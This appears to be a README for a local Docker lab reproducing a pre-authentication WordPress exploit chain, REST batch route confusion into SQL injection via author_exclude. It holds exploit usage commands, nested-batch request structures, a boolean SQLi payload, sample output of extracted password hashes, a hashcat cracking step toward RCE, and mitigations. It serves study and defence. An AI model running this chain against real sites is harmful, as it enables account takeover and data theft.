| CVE | コンポーネント | 説明 |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | ルート混乱: サブリクエストの検証とディスパッチの間の非同期化 |
| CVE-2026-60137 | WP_Query (author__not_in) | 値が配列ではなく文字列の場合の SQL インジェクション |
この連鎖により、攻撃者はいかなる認証情報も持たずに任意の SQL を実行でき、(完全なシーケンスでは)RCE に到達できます。WordPress 6.9.5 および 7.0.2 で修正済み。RCE チェーンの影響を受けるバージョン: 6.9.0–6.9.4 および 7.0.0–7.0.1。
⚠️ 注意: 意図的に安全でない環境です。ローカルのみで、隔離して使用してください。 インターネットに公開しないでください。このエクスプロイトは、このラボ(または明示的な許可を得たシステム)に対してのみ使用してください。
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
これにより以下が作成されます:
admin / SuperSecret123!victim / Victim_P@ss_2026 (2人目の管理者、ハッシュ抽出のターゲット)get_items() が行を返すために必要)脆弱なバージョンを確認:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
出力(要約):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
その他のオプション:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
このエクスプロイトは Python 3 の標準ライブラリのみを使用します(依存関係なし)。
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
ハッシュは、エクスプロイトが抽出したもの(データベースにアクセスしたことはありません)と同一でなければなりません。
serve_batch_request_v1)wp-includes/rest-api/class-wp-rest-server.php 内で、バッチハンドラーは2つの並行配列を使用します: $matches(一致したルート/ハンドラー)と $validation(検証結果):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
ディスパッチ時、ハンドラーは $matches[$i] のインデックスで読み取られ、一方 $single_request と $validation[$i] は $requests の完全なインデックスに従います。パースに失敗するプライマー("///")は $matches 内のすべてを1つずらすため、あるサブリクエストが別のリクエストのハンドラーの下で実行されます。
バッチスキーマは POST/PUT/PATCH/DELETE メソッドのみを受け入れます(GET は rest_not_in_enum で拒否されます)。エクスプロイトはこれをバッチ内バッチで回避します:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier は投稿の create_item として検証されます(allow_batch=true、必須パラメータなしで通過)。バッチとしては検証されないため、その body はメソッド enum の検証をすり抜けます。carrier は(3番目のサブリクエストから奪った)/batch/v1 ハンドラーの下でディスパッチされ、serve_batch_request_v1 が生の body を処理し、サブリクエストは GET になります。BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
内部の新たな非同期化により、GET /wp/v2/users リクエスト(サニタイズされていない author_exclude を保持)が posts get_items() の下で実行されます。そこでは:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
そして WP_Query(class-wp-query.php)内の脆弱なコード:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
使用されるブールペイロード: 0) AND (<condição>)-- -。これにより WHERE がオラクルになります(投稿ありのリスト = 真、空リスト = 偽)。バイナリサーチによる1文字ずつの抽出。
注: このパスは、advisory に記載されているように、永続的なオブジェクトキャッシュがない場合(このラボのデフォルト)に到達可能です。
このラボは、チェーンの核心である事前認証の部分(ルート混乱 → SQLi → ハッシュ漏えい)を検証します。advisory の完全なシーケンスは次のように続きます:
$wp$2y$... ハッシュ(bcrypt)を解析する — hashcat -m 3200。/wp-admin にログインする。author__not_in を整数に強制する(wp_parse_id_list);/wp-json/batch/v1 をフィルタリングする WAF、認証されていない REST API の無効化、SQL を含む author_exclude を持つリクエストの監視。docker compose down -v # remove containers + volumes (dados)